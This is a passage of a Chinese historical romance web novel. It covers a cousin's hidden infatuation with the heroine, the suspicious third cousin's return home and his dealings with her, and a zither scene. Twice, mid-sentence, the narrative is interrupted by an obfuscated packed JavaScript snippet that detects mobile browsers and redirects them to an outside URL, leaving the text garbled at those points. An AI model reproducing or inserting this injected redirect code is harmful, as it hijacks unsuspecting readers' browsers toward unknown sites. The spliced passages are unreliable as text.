“你尽瞎操心。二妹三妹不在家，太太要出门，准就带上表姑娘了，人家乐得呢。谁都像小姑娘不懂事，只知道玩。”瑷宁说着笑起来，“况且这玩才费钱，你反正是当久了大爷，哪理会我等平民疾苦。说句话当然容易，马呢，跟的人呢？都是花费！” 花沛说：“人我已经想好了，我看长乐机灵又稳当，要他跟着。其余不就是花些银子，三弟留的那些都用完了？” 瑷宁扑哧一笑：“你倒好意思说！做兄长的，一毛不拔就罢了，拿着弟弟当金山银山，也不觉得脸红？” “你不懂三弟。”花沛不以为意，“不这么着，他还不高兴。我又说不过他那些‘财聚人散，财散人聚’的道理。如今正好，皆大欢喜。” “你不懂女人。”瑷宁笑他，“如今散漫惯了，等三弟娶个厉害的回来，那时才有看头呢。” 花沛心情愉悦，忍不住就和瑷宁说笑几句，“不可能，三弟那样子，哪儿会让个姑娘高出一头，肯定娶个温良贤淑的媳妇。满家里看，也就我讨到个泼辣娘子。” “敢情就我一个做了恶人。”瑷宁从浓睫下斜瞟他一眼，“怪道人说：当家三年狗都嫌。可不是就叫嫌上了。好嘛，以后我也不管别的了，贤惠大方谁不会作？只管哄了老太太和姑娘们高兴，皆大欢喜。” “是该如此。”花沛笑道。“不过谁敢嫌你？” 瑷宁在花沛身上打一拳：“还得给她们裁骑马的衣裳，谁晓得是不是一时热乎劲儿。要照你说，只管四季的全备上，都裁最好的，是吧？” “最近就能穿的让人赶紧做起来。其余都依你，看怎样合适，唯独不用在银钱上掂量。” “那就省事了。还能怎样办，难道买得起马配不起鞍，是不是这个理？” “对。用三弟的话说：‘王八都吃了，还计较葱姜？’” “三弟那张嘴。”瑷宁大笑，“王八谁吃了不知道，反正我连口汤都还没喝上呢。” “要不你也陪着妹妹们一起去？”花沛犹豫道。 “得了，我可不敢有这些高贵消遣，家里的事还不够忙的。” 花沛被一阵内疚刺痛了，最该得到消遣的便是瑷宁。可他随即看清她明亮、愉悦的目光，里面只掺了一点点戏谑——他怎么能忘了，她那么骄傲的心，才不肯生出怨怼。他心中满溢出亲切的柔情，揽过瑷宁说：“你喜欢什么，就去做。这不是还有我。” 11. 表哥 多少怕计划被突如其来之事打乱的担心，多少令人欢欣而又不耐的细致准备，终于，银荷站在了马场上。 花瑛抱怨马厩的味道，花瑶暗暗忍受硌脚的砾石，这些，银荷都没留意到。她只顾盯着远处已经跑起来的几匹马，心里生出一点不安宁：不知自己将要骑的马儿会是什么样子？ 花沛原本做事细致，外加真的怕跌了谁，因此着实千挑万选，才领出了三匹身量矮、结实、同时非常温顺的马儿来，并不由自主将其中最漂亮的一匹牵到了银荷面前。 这是一匹白底带黑灰斑点的花马，银荷一见就觉得它正是自己日夜期盼的，她几乎是扑上去搂住了马儿脖子。 看她喜悦，花沛心里好似浸了蜜。他匆匆向花瑛花瑶交代几句，让她们先和马儿熟悉一下，再向银荷转去时，她早已上了马背，不待人牵着绳，就自己催马前行了。好在马儿跑不快，不然她还不定跑到了哪里。 花沛无奈苦笑，赶忙追上去，牵住马，轻声责备说：“表妹怎么这样性急。” 银荷明白花沛是为了她好，真心实意地道歉：“我实在没忍住。我就这么慢慢走，大表哥你瞧好么。” 花沛看她一眼，赞叹道：“你骑得很好，以前骑过？” “没有。不过我骑过站着不动的马，小时候我总偷偷去家里马厩玩。”银荷不好意思地解释。 花沛不禁笑起来：“你很喜欢马？” “现在我最喜欢这匹马。下次来我也是骑它？” “当然，就是专为你挑的。” 银荷非常欢喜，在心里偷偷给它取了名字，又突然生出莫名其妙的独占欲来，她不放心地问：“其他人来也会骑它吗？” 花沛愣了一下便明白了：“那个容易，我告诉他们一声，只有你来了能骑。” “我怕它太累。”银荷微微俯身，爱怜地抚摸马儿的头顶。 花沛瞧见忙说：“表妹快坐好，抓紧缰绳，别丢开手。” 银荷依言坐直，两人再没有交谈。银荷是太激动，又觉得那些傻气的想法不便告诉花沛。花沛则在心中描摹表妹的样子——与其说是看到，毋宁说是感觉到的——表妹美极了，他不敢回过头去。 银荷戴了笠帽遮阳，在她脸上流动的光影为容色添了些难明的意味，甚至比平日更要动人几分。然而花沛并没有深究原因，当真要论起来，单凭那爽利挽住下巴的绸带便足以向世人示艳。他只是想起了小时候听过的故事，故事应当做些改动——如若真有仙女见识到这一幕，再思凡下界时，必得寻一匹马儿骑上。 一圈快要转完了，花瑛花瑶还在旁边等着。 花沛终于开口：“表妹累不累，下来歇歇吧。” “我一点儿也不累，马儿会累吗？”银荷随口说道。 “不会。它一点儿也不累。”花沛说，话音听来格外温柔，令他自己心里一惊。 银荷没有注意到。她突然回神，觉出不对：还有花瑛花瑶在，自己怎能一直耽搁花沛，他一定是不放心她一个人骑。 她愧疚道：“多谢大表哥，你去帮瑛妹妹和瑶妹妹瞧瞧吧，我休息一会儿。” 花沛想要去扶她，可是只虚虚做了那么个姿势。她双脚一落地，他便不自然地收回手，旋即转身走开去。 接下来的日子，骑马便成为每天的固定活动，小厮长乐寸步不离地陪着她们。回去后，三位姑娘每人都多吃一碗饭，睡觉也更香了。 只有花沛茶饭无心。他做了一个梦：在一片花木之中，躺着一个人，而他，受到奇怪的驱使走上前去。 可能是听到他的脚步声，那人突然坐起来——一位姑娘，她身上被衾滑落，露出月光般清莹的身体。 他死死盯着那片月华，无法移开眼睛，同时又拼命想要看到这个人是谁。他知道，看见了就会万劫不复，可是诱惑太强烈了，他不由自主一寸寸抬高目光…… 他醒了，在看到之前。但他很清楚那是谁，不用看就知道。 花沛全身冷汗淋漓。他果真对表妹起了最不可告人的心思。 怎么会？ 枕边传来安然温暖的气息，花沛轻轻侧过头，看着妻子。 毕竟相伴多年，他深知瑷宁。她善解人意，见识深刻，言谈尖锐而心地善良，恩怨分明，无论遇到什么事，他都可以无条件地信任她。 而他对表妹又了解多少？他甚至想不出什么词可以描述表妹，除了美。真的，只要一闭眼，他就能看到她的样子，长睫如鸦羽，嘴唇像半开的石榴般鲜艳。 莫非他也是贪恋美色之徒？可真要如此，莫非美色就如此难得？难道瑷宁不美？ 他永远忘不了第一次见到瑷宁的情景，她的容色和气度一下便击中了他。因为他的母亲正是高贵的典范，他一直认为最美好的女子理应如是。 但表妹和瑷宁似是完全不同的两种人，实际上，和他认识的任何女子都两样。可是——可是为什么总要想表妹，这到底算什么？ 花沛不愿对自己的邪念认真，但抑制不住地想要看见表妹，好像只要再多见一次，多说一句话，他就能清醒过来。 有时他恨不得能对表妹说出来，好使自己彻底死了这条心。——死心？好像他原本还有什么希望似的。 花沛不知是不是该庆幸——如果换作戚姑娘或者郭姑娘，他又待如何？ 他与瑷宁成婚多年还没有子嗣，父亲已经旁敲侧击地提醒过他，可他始终没有认真加以考虑。是应该有孩子，但不应该令瑷宁伤心。他知道瑷宁不“大度”，而他也从没想要一位大度妻子。 那么，假使表妹不是姓曲，不是老太太的侄孙女，事情就会不同吗？花沛不是没有想过，也不是没有在这白日梦中生出片时欢喜。可即便在他最癫狂的念头里，还是始终有瑷宁。 当然，这件事本身就不对，大错特错。可如果不是瑷宁，他厌弃自己不会这样厉害。 花沛一日日在这漩流中打转，如此周而往复，似乎永无尽头。 . 自入了秋，老太太就时时念着出门在外的孙子，没有一日不说上三五遍。大家都知道她的期盼，要么跟着说几句如意话宽慰她，要么想出些消遣哄她开心，老太太屋里总是热热闹闹的。可是眼瞅着到了中秋，吃过不那么完满的团圆饭，还不知花澈人在哪里，他的讯息是半片也无。 天气渐渐转凉，刚进九月，便是十来日的连绵阴雨，雨住后，又下起了霜。清晨，织雨刚掀起帘子，就抱怨凉气渗骨，忙不迭取出厚衣裳。 银荷的几身冬衣已经裁制好多时了，她却不怕冷，只嫌时候太早不肯穿。谁知这日叫老太太看见，怕她着凉，因想起披风穿着便利，于是就留下银荷、诗钰、戚晚，让邀月找出衣料，几人挑选了，镶上皮毛，好做出几件斗篷、大氅来。 银荷选了柳黄羽毛缎配银狐里子，诗钰和戚晚两人还举棋不定，邀月也在旁边出主意。 几人正互相参详着，忽听绘云在外面喊：“三爷回来了！”话音未落，就见帘子猛地一掀，迈进一位年青公子。他并不向四处瞟一眼，大步流星直跨到老太太跟前，跪拜道：“祖母安好，孙儿回来了。” 老太太盯着面前的人看了半晌，方说：“哪一个跪着做什么，我不知道有这个孙儿，你起来。” “祖母不认我没关系，只别气坏了身子，您不答应，我便不起来。” “你还威胁起我了。”老太太气得哼哼，又喊，“前头的人呢，如今连规矩都忘了？也不见人来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16892549|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报一声，统统拉去打板子。” “理他们做什么。我嫌他们走得慢，孙儿急着见祖母，就先跑了几步。” “看看你，打哪儿蹦出来的活猴儿！”老太太终是撑不住笑了，便要去拉他，“出去大半年也没点儿长进，还是全仗着一张嘴。” “我是仗着祖母疼爱。”他瞥见老太太动作，早已自行站起，又扶老太太坐下，“孙儿知道走得长了，害祖母挂念，不得安心。这次都疏通打点好了，以后就不用再跑，我天天在家陪着祖母。” “有你这份心我便满足了。男儿以四方为事，祖母怎会拘着你？我也知你是为了家里。” 祖孙两个说了几句话后，老太太又仔细向花澈脸上端详，“好像瘦了，还黑了。” 花澈笑道：“瘦是没瘦，恐怕是黑了点儿，邋遢了些。怪我没先去归置一下，该换身衣服再来看祖母。” 这话可能过谦了，因为银荷瞧见的是一位衣冠齐楚、神采夺目的公子哥儿。 他身姿挺拔，肩阔腰窄，头束玉冠，脚蹬皂靴，穿件银色流云暗纹直缀，系一条墨灰挑银线织锦腰带。有一类人，本没必要打量其衣饰，任何衣衫在他们身上都极其熨帖，而毫无刻意之感，专为衬得人更加飘逸自如，这位正是其中榜首人物。他行动随性不羁，纵意圆方之间，放浪形骸之外，偏生又有一张轮廓漂亮、五官俊美的脸，眉眼中笑意舒扬，看上去真是通体的闲适，周身的气派，满目的风流。 银荷已经听说花澈不少事情，却还不知道他生得好一副英俊相貌。她暗叹：这人大约根本不识“拘束”二字，人虽长得好，未免太轻佻狂浪了。 其实花澈言语做派中那股子吊儿郎当恰到好处，多一分则稍嫌放肆，少一分又略逊洒脱，若非天成，绝无人能拿捏得出。放在那等花天酒地之所，纸醉金迷之乡，这幅样子或许能无往而不利，谁知银荷纯真的眼睛欣赏不来。她见花澈像是个游戏人间的浪荡子，不免大失所望。 正当银荷胡思乱想时，忽然间花澈向她转过脸，本来只是随意一瞥，看到她的瞬间却眼神一变。银荷打了个寒噤。 老太太在旁笑着说：“这是你三表哥，不用怕他。”又对了花澈道，“这位就是你舅公家的表妹，名叫由心。你要是欺负了她，我可不饶。” 银荷起身时，花澈从头到脚扫了她一眼。银荷看得分明，极力忍住，才没有顺着他的视线低头去检查自己身上。她赶紧施了一礼：“三表哥。” “果然是祖母时时挂在心上的由心妹妹。”花澈上前一揖，又望向银荷。他的声音满含赞赏，嘴角半挂嘲讽，双目微露探究，和刚刚在老太太跟前春风和煦的样子判若两人。 银荷从未见过一个人连眉梢都不动一下，却能做出这么多层次的表情，不知为何深感懊恼丧气。 好在这时老太太又去招呼介绍诗钰和戚晚，花澈再未多说什么。叙礼完毕，银荷跟两位表姑娘一同告辞出来，留祖孙二人说话。 花澈回屋后，先叫来小厮元宝，说：“你去看看那个表姑娘怎么回事。” 要不怎说元宝偏能成花澈最得力的小厮，甚至敢自封为花澈的臂膀——起码是根小指头吧。若别人，恐怕得问一句：哪个表姑娘？元宝不用。不到眨眼工夫，他就知道是哪个表姑娘——曲家的。 但元宝仍是愣在那儿。表姑娘怎么回事？ 这可真是个新鲜题目。卖菜的短斤少两，当官的草菅人命，教书的胸无点墨，念书的大字不识，这些都有哇。但表姑娘，她一个未出阁的小姐，她怎么回事，她能怎么回事？ 花澈吩咐完，进里屋了，等转身出来，元宝还站在那儿。花澈向他看了一眼。 这一眼，元宝半个字也不敢出口，赶紧退了出去。 12. 赠诗 这日晚间，元宝拿着一张纸，来给花澈“交差”。这页纸上写得满满当当，可元宝依然觉得，交代不过去。 如今府里共三位表姑娘，凭那两位的身份，公子就根本不会多提她们一句。唯独这一位，与老太太同姓，亲亲的侄孙女，难办就在这儿啊。让他元宝闯大内，豁出命来也就去了，让他打探小姐的事——他连织雨都不知道模样呢，就因原先她是老太太的丫环，他见了从不敢直起身子，他还敢去曲姑娘闺房探头探脑？ 硬着头皮，打听出几件边边角角的事，纸上写了。薄薄一张纸，花澈捏着不作声，元宝心中愈发惴惴。 老太太确实疼爱表姑娘，差不多当成个亲孙女，莫非就为这个，公子心里不高兴？可他是正派嫡孙，犯不着和个姑娘争吧。再不然，是因为…… 终于，元宝吞吞吐吐地补充：“我还听有人说，舅老爷和咱们三老爷过去交好，难说有没有结亲家的打算。听说，表姑娘和四爷在园子里碰见了几回，大概彼此……” 元宝知道，老太太正急着花澈的婚事。二公子比他大不了几日，早早就定了亲，二奶奶已经娶进门了。公子呢，他自己固然是不肯上心，可若被弟弟赶在前面，毕竟面上不大好看。 果然，花澈问：“定亲的事是老太太说的？” 元宝忙回：“爷恕罪，老太太没提过，大概是没有的事，要不然，三老爷不在家，信上也能讲。——这都是那起闲着没事的婆子瞎议论。” 花澈想，舅老爷跟着舅老太爷上矴州的时候，还没有娶妻，三老爷是哪一年月迎娶的三太太，倒不记得了，那时候三老爷恐怕还一门心思念书。两个少年书生，无非是探讨学问，哪能讲到结不结亲家。 当然，日后二人刚好一个得了儿子，一个得了闺女，儿女大了，保不准真有了那个想法。舅老爷过世，老太太要为侄孙女打算，将她留在自己家里，肯定更放心；花涛看上了表姑娘，也没什么奇怪。表姑娘嫁给花涛，正是皆大欢喜的事。 只要，她果真是表姑娘，果真是舅老爷的女儿。 花澈又问：“表姑娘是三月二十八到家里的？” “是，是。整好半年了。” “来时带了三个人？” “是。一位可能原先是舅老爷家里管事，送了表姑娘来就回去了，一位嬷嬷，呆了一段也走了，现在还剩个丫环。” “丫环哪来的？” 元宝一惊，赶紧说：“听说路上表姑娘受了风寒，耽搁了几天，好在并无什么大碍，不过随身丫环病死了，现在这个是后来买的。路上的事情小的也还不明，就没写上，不敢欺瞒爷。” “丫环什么模样？” “就是个寻常丫头，”元宝更加摸不着头脑，“人还很小，表姑娘好像也不大派事情给她，她常去三姑娘那边玩。这丫环有不妥？” 花澈不耐烦地挥挥手。 元宝退下后，花澈望向窗外幽暗的树影，在心里回想了一遍。 “三表哥。” 尽管语气语调全然不同，而且对他说的只有三个字——她还能说什么别的？三个字，足够了，他笃定是同一个声音。 样貌也没错。 不能说夜色朦胧，没瞧真切。他记得那天月光无赖，偏偏倾在她一人身上。当时，他不由又向天空望去，看那月盘皎皎，还差一点儿才圆，令他恍然：原是姑娘淘气，偷裁下一小片月亮为自己妆饰。 那日是他在勐州逗留的最后一天，当地的事务已处理完，第二日便要北上。本来着实懒怠多管闲事，可葛家呆子站那姑娘旁边，也着实刺目。 什么“那姑娘”，真抬举她了，就是个丫头。 不该把葛全有支走，该多听听，多瞧瞧。 可惜，后悔晚了，如今，“梅香”都变成表妹了。 “三表哥。” 花澈又回想一遍。 声音的清婉和她本人倒是极为相称，看到她的样子就知道她不该是旁的语声，听到她的话音也没法想出她会是另般模样。 不过调和之处也就仅止于此了，整个人恐怕都是作伪，还有什么好说的。 花澈冷哼了一声。 第二日早晨，银荷去老太太屋里。大家都在，正在议论花澈带回来的礼物，有的赞脂粉匀净细腻，有的赞衣料花色新鲜，连诗钰、戚晚二人也有许多话说。银荷却半件东西都没收到。 难免心中纳闷，不知这位三公子为何对她有看法。 银荷对花澈，本来也谈不上喜欢或讨厌，但见到之前，因常听人口里提他，不免存有好感和期待。 譬如，老太太有回说：“他自小便那样，八、九岁上，有一回，他伯母为什么事说了他母亲几句——他伯母就是那个性子，不管多小的事情都要争个长短。就为这个他跑上高楼，等到他伯母走过，朝她射了一箭，把头上的珠花射掉了。他伯母吓得病了一场。他祖父最疼他，从来不许人打他，那一次气得不轻，把他关进祠堂反省三天。结果头天他就偷跑出去，还骑了马厩里最快的一匹马，等找到的时候，都跑出京城了。” 老太太是当笑话讲，银荷听了，却有几分钦佩；尤其是，花溯花洄也总吹嘘三哥剑术高超，于是，在银荷心目中，花澈少年英武，是侠客一流的人物。 银荷在花家日子渐长，如今，若要她离开，她真舍不得。不光自己舍不得，她还怕老太太得知真相伤心。 可是，头等大事是为由心报仇，她还等着李得来信呢，到了那日，该怎么办？她总在想，能不能有个“两全”之法：杀了葛全有，同时，瞒过老太太等人。 要瞒老太太，单凭她做不到，花家得有个人帮忙。找谁？大公子、二公子都是有家室的人，肩上事多，不便烦劳他们。四公子要读书应考，更不好要他分心。思来想去，三公子最合适。 可是，昨天，一见之下，她的念头全打消了。 这时候，几人谈论礼物谈得热闹，银荷无甚可说，便问三表哥去了哪些地方。这却没人说得清，只道是往沿海一带去了，且又说他就是在家，每日也是行踪难觅。银荷听罢，正好，不必再多见他。 坐一会儿，各人散了。银荷回到清圆居，还未进屋，小朝就迎出来说：“姑娘，刚才三公子来过，偏那会儿织雨姐姐让人喊走了，就剩我一个，真是吓了一跳，还从来没和哪位公子说过话呢。没想到三公子那么和气，还问我老家在哪里，跟了姑娘多久，在这儿可习惯。我从没想过还有那般好看的人，都不会答话了。” 小朝害羞地低了声音，“我说姑娘不是买了我，是救了我。我愿意好好跟着姑娘，根本不想家。我没说错话吧？” “没有错，你想说什么就说什么。”银荷随口回答，心中诧异非常。 “我怕三公子不信我说实话，可我真的不再想家了。”小朝欢喜地笑着，想起正事，忙道，“三公子让人搬来两口大箱子，说是出门收集的小玩意，各位姑娘们都有。他还说他自己给姑娘挑了一些，姑娘喜欢不喜欢，权当解个闷儿。” 进屋一瞧，竟是两只有小柜尺寸的柳条箱，打开看时，里面整整齐齐码放着一层层的大小包裹。小朝早耐不住了，只等银荷一声吩咐，叫来小丫环们，把里面东西一样样拿出来。 银荷刚才已经听说，此时见到实物，似乎还要别致百倍。且不提那些水粉、布匹，又有许多文具：一方凤咮砚，正是她念想了许久的。 丫环们还不停掏出各种玩器摆件，金的，铜的，水晶的，琉璃的，镶贝母的，嵌玳瑁的，雕出花鸟鱼虫的，刻成珍禽异兽的，直教人眼花缭乱。 银荷正摆弄一副西洋棋子，小朝摸出一件奇怪东西，看一眼就赶紧放下。“怪吓人的。” 银荷拿过一瞧：黑乎乎一块檀木，细看之下，雕出了一个男孩的头胸部分，头发极有趣，又短又卷，面容则是一副笑模样，两个嘴角直咧到了耳根。招人就招人在这里——看着黑娃娃毫不遮掩的憨真笑容，银荷自己也不禁欢喜起来。 她猜测是不是老太太特意嘱咐过花澈，才有他这番盛情表示。不管怎样，她对这位“三表哥”有些改观了。 这日下午，银荷独自在花园里走着，忽听身后有人唤：“由心妹妹，请留步。” 声音深沉柔和，极其悦耳，不单将银荷从思绪中唤起，还令她心头一颤。一刹那，她不是在辨这是谁的声音，竟是想：若真是唤她，是叫她的名字该多好。她快速转过身去。 花澈站在几步远的地方，望着她。银荷竟不晓得自己心中是作何想，赶快福了一礼，见他一直不吭声，便开口道：“三表哥，谢谢你送——” 花澈目光移到她头顶，突然大步上前。银荷话未说完，就见他已近得失礼。紧接着，她头上一松，一股头发哗地流下来。银荷一时不知出了何事，慌忙用手去摸，这才看到花澈正拿了她的发簪举在眼前瞧着。 回过神，银荷惊诧莫名：“你这是干什么，敢是疯了？” 花澈笑道：“这朵花儿倒有趣，我瞧着与妹妹挺适宜。你从何处得来？” 银荷不屑与他抢夺，又不是小孩子家，至少她不是。她后退两步，说：“大表嫂给我的。快还我！” “你喜欢这样的？”花澈擎着簪子，手摇了一摇。 “与三表哥何干？” “过来些，我给你绾上。”花澈仍是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16896196|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好脾气地说。 银荷惊怒交加，只管瞪着花澈。 花澈便又笑了：“还妹妹，外加，我还要赠妹妹一句诗。”他手腕向外翻个圈，献珍宝般，将簪子递在银荷面前，“妹妹正当得起这一句——人意花枝都好。” 银荷一把抓过来，又羞又恼，正要走开，花澈忽然说：“别往那边去，有人来了，咱们躲一躲。”说着，他闪身站到一边，打手势，比划银荷头发，悄声说，“快来，站得下。” 那儿正好有几座太湖石，大石之间空出的一块确实“站得下”——仅够站二人，贴着。 银荷简直气得发笑，一来，她没什么需要躲藏的，二来，她疑心花澈又耍诡计——哪有人来？ 她边走边束头发，刚迈出两步，听见了急促的脚步声。 转眼，两个人转出月洞门，看见了她，快步奔过来。银荷将将插好发簪，但那两人着急，谁也没留意。 “曲姑娘，她正要找你呢。”是诗钰的丫环翠儿，她指着大房的粗使丫头小晴。 “什么事？” “曲姑娘，你能不能求老太太，把画眉要去，让她跟着你。”小晴飞快地说。 银荷想起花澈还在旁边：“咱们去那边说。” 小晴抓住她胳膊，央求道：“来不及了，人牙子都来了，曲姑娘快想想办法。” “要卖画眉？她怎么了，不是才来么？”银荷与画眉不熟，依稀记得是个模样伶俐的丫头。 “她与二爷说了几句话，大太太不高兴，要发卖她。”翠儿说完，扭头对小晴道，“这时候才着急，你怎么早不提醒她，又不是不知太太的脾气，你看我们姑娘从来远着你们二爷。” “我以为二奶奶进了门……二奶奶都没这些计较嘛。”小晴哭丧着脸，又求银荷，“姑娘去和老太太说说？” “只好试试，未必管用。”翠儿摇头叹气，“前头有一回，差点连蛛丝姐姐都撵出去，是二姑娘闹绝食，才拦下。” 银荷自己也觉得难办。她身边丫环已经够多了，再要人，显得骄奢太过，又显见是和大太太作对。说到底，自己是个“外人”，在花家未见得就比丫环们呆得长久，怎好过多掺和这些事？ 她还有一重着急：这会儿，她从眼角瞥见，花澈从石后站出一点，正似笑非笑地看着她。 她如芒在背。奇怪的是，另两人对花澈在场竟毫无察觉。——当然不能让她们发现了，要是她们见她与花澈单独在此，她的头发又是潦潦草草，可真难说得清。 又是气，又是急，银荷赌气道：“画眉人呢，我去看看，我一定想个办法。” “曲姑娘别去，我跟她说。”小晴喜道，“曲姑娘快去老太太那儿吧。”说着，两人回身，又是急匆匆走了。 花澈立即走出来，笑脸上前：“妹妹不用犯难，这么点小事情，我有办法。” 银荷刚露出喜色，花澈接着说：“我可以把她要去，正好，我缺个可心意的丫头。” 银荷怒目而视。 “妹妹不愿意？”花澈马上改口，“那好，我不要了。我看她也不必非呆在咱们家，令太太不好看，我给她另寻个安稳地方，可好？” 银荷见他神情倒真不像敷衍，狐疑地瞅着他。 花澈郑重地说：“事情着急，我现在就去吩咐。最多一两日，全办妥贴了，给妹妹信。” 银荷不由点了点头。 刚要走，花澈叫住：“等一下，妹妹给我什么报酬？” 银荷脸色变了。 “我不能白做好人呀。”花澈站到她身前，认真解释，“一来，我没那个侠义心肠，二来，我没做过亏心事，不用累积善业，三，开了这个头，以后谁都来求我，我何必自找啰嗦？” 银荷冷然道：“三表哥不肯帮忙就算了，说一堆风凉话倒不嫌啰嗦。” “我肯我肯。我已经答应了妹妹，岂能反悔？”花澈拦住她，“妹妹多听一句。其实，我要的报酬不高，妹妹并不是给不了。”他笑嘻嘻说，“我没学问，只好拿别人的句子借花献佛。但听闻妹妹自幼饱读诗书，是个雅人，就请妹妹赠我一句诗，如何？” 这个报酬可是要对了。银荷冷笑：“我的学问也不够，作不出好句，三表哥要诗么，我也只好借花献佛。三表哥正当得起一句——黄衫飞白马，日日……”说到这儿，银荷忽然发觉，后面那句“日日青楼下”实在羞于出口。她窘迫地闭上嘴。 本以为花澈会恼怒，谁知他面不改色：“妹妹倒挺懂得男人。” 银荷扭身就走，可惜走得不够快，花澈的笑声从后面追来，再加一句：“不过妹妹还是错了——我的马是黑的。” 13. 怨曲 这日，银荷又对了由心昔日的诗稿和书籍出神，织雨见了劝说道：“姑娘才放下针线，别读书了，太劳心，歇歇吧。” 银荷心中感伤，走进园子，徐步而行，一面想：“不知得叔最近怎样，他去了有半年了，好长的半年啊。得叔说可能要两年，我一天天数着，决不能着急。希望他平安、顺利，尽早来信。” 已近初冬时分，时而有风吹过，枝头一阵哗啦作响，树叶便纷纷扑落在身周。银荷心道：“以前没留意，这萧索的感觉竟也很美。其实何必独悲此深秋摇落，人要悲愁，难道还分四时？——盛夏也可能如隆冬，那时看周遭繁茂热闹，心里恐怕更是难受，倒不似现在，便是天地间仅余我一人又如何？也许再有一匹马，纵马奔驰，红叶纷飞。——这个意境不错，荏苒天涯、浪迹四海。” 这么胡思乱想间，不觉便走到了花园西北角。花府的花园极大，这一片鲜有人至，只有孪生兄弟爱过来玩，不过现下兄弟两个上了学堂，此处便显出些肃杀之感，倒正是银荷有意无意追寻的。 又是一阵风刮过，隐隐送来几声琴响。“这时候谁会在园中抚琴？”银荷大感意外，循声走去。 声音是从假山上的亭中传来——一座近三层楼高的土石小山，亭子位于山之巅。银荷恐怕打断了琴乐，从山后小径上去。树木掩映，看不见亭中是何人，她静静站在稍低处一块石后，正好能将琴音听得一清二楚。 这人奏的是《胡笳十八拍》。乐声如泣如诉，急时风卷尘扬，缓时踏草悠行，紧处激越高亢，细处委婉低徊。听着这样的琴音，几乎可以想出一双手在琴上轻拨慢挑、婆娑起舞的样子。 银荷不由沮丧地看了看自己的手：“我这双手除了拿针捻线毫无用处，绝对奏不了这么好。不过到底何许人琴技这般高超，莫不是花家还养了琴师，说不好是位名家大师。可是怎么从来没听人提过，难道如此不俗的琴艺在这里也只能默默无闻。唉，知音难觅，世间莫不如此。不然何故有诗云：‘知音者诚希，念子不能别。’” 她出了一回神，又欲流泪，忙敛敛心思，专注于乐曲之上，直至终了。正要走过去拜会奏曲者，忽听一副如琴声余韵的嗓音响起，话语袅袅飘了过来：“表哥觉得如何，可还能入耳？” “指法了得。这样的弹奏很少能听见，今日倒是没有虚度。”另一人紧接着说，声音同样悦耳，温文有礼，并且还要响亮得多，让银荷一下子明白，说话人站在亭边，面向亭外，正是她头顶上方。 不过最令她惊讶的是，这两人是花澈和戚晚！ 平时姐妹们玩闹时，从未见戚晚碰过琴，只推说不大会，不想竟是深藏不露。 至于花澈么，看来他并非如人所说，整日不着家。 只听戚晚又说：“表哥定然听过更好的。不敢和表哥妄论知音，但我实是万分欣喜。” 两人客客气气地交谈，银荷却大感自己处境尴尬。要是早知还另有听众，她绝不会过来打扰。听琴也罢了，又听别人的私密谈话，不管有意无意，成了什么人？可现在露面，插在二人中间，难免害大家受窘。偷偷溜走罢，自己就是探下脑袋也很可能被发现，那就更糟。 亭子里的人不知银荷心中曲折，自管自地讲。 “戚姑娘找我怕不单是为听琴吧，还有别的事？” “今日心中实在烦闷，籍曲抒意，叨扰表哥了，我知表哥事忙，肯听我弹琴，已是意外之喜。不敢再烦表哥。” “戚姑娘太客气了，都是一家人，是我一向关心不够。此时正好，不妨说说，你为何烦闷？” “表哥既问，我自不敢相瞒。”戚晚的声音稍稍发涩，显是有几分害羞紧张的样子，停了片刻，似下定决心，又说下去。 “我的境况表哥怕也听过一些，我生父早逝，为了我，母亲只能改嫁，继父待我极好，与我的弟弟妹妹不差分毫，还请了许多老师教我。我若再口出怨言，当真成好歹不分了。 “只是原先我不曾想到，学得百般技艺，不过是为了充门面嫁人。我不愿嫁给父亲选中之人，若非姨母不弃，收留我至今，还不知会流落到何处去。来此大半年，承蒙老太太和太太关照，姐妹们都友善相待，我才知原来世上还有这般美好安逸的日子。但是…… “并非我不识抬举、不知感恩，但我恐怕是在有些人心里引起了一些芥蒂，其实我并无任何不当有的心思，只是说出来只怕也无人相信。毕竟我这样一个身份，误会我也是理当的。若换做是我，我甚至更要鄙视自己。”说到这里，戚晚的话音已带了些哽咽。 平日，姐妹们在一处时，戚晚话最少；有时，她陪着孪生兄弟进花园玩，银荷碰到过几回，想与她交谈，戚晚总不大开口。这时，听她这番倾诉，银荷才知她全部苦处，不免心有戚戚焉。只不知花澈是如何想。 花澈说：“戚姑娘的意思我明白了，其实你不必多心，我并未听到有人挑你的不是。——就算有又如何，人多口杂，哪个背后没点儿闲言碎语，若真到处听听，恐怕还有更不成话的。子虚乌有、不着边际的事情不用理会，横竖有老爷太太，谁也不敢怎么样。” “话虽如此，但我实在不想因我之故，让人平添心堵。” “那戚姑娘意欲何如？” “我想要离开这里，我可以授人琴艺，我还会些其它的。只要是……只要是不累及声名之事，我都愿意做。表哥可愿帮我？” “多谢戚姑娘信任。我当然愿意出把力，只要太太同意，都交给我安排就是。”花澈答。 前两日画眉去了个好人家，后来小晴代画眉谢银荷，以为是她求了老太太，银荷却知是花澈之力。见他那次没有食言，这回也应允得痛快，银荷不禁暗暗点头。 戚晚说：“我姨母她决不会答应。我要是不愿待在这里，她一定会送我回继父家去。姨母对我很好，只是她总拿我当个孩子，并不明白我的苦处，所以我才想到来求表哥。” 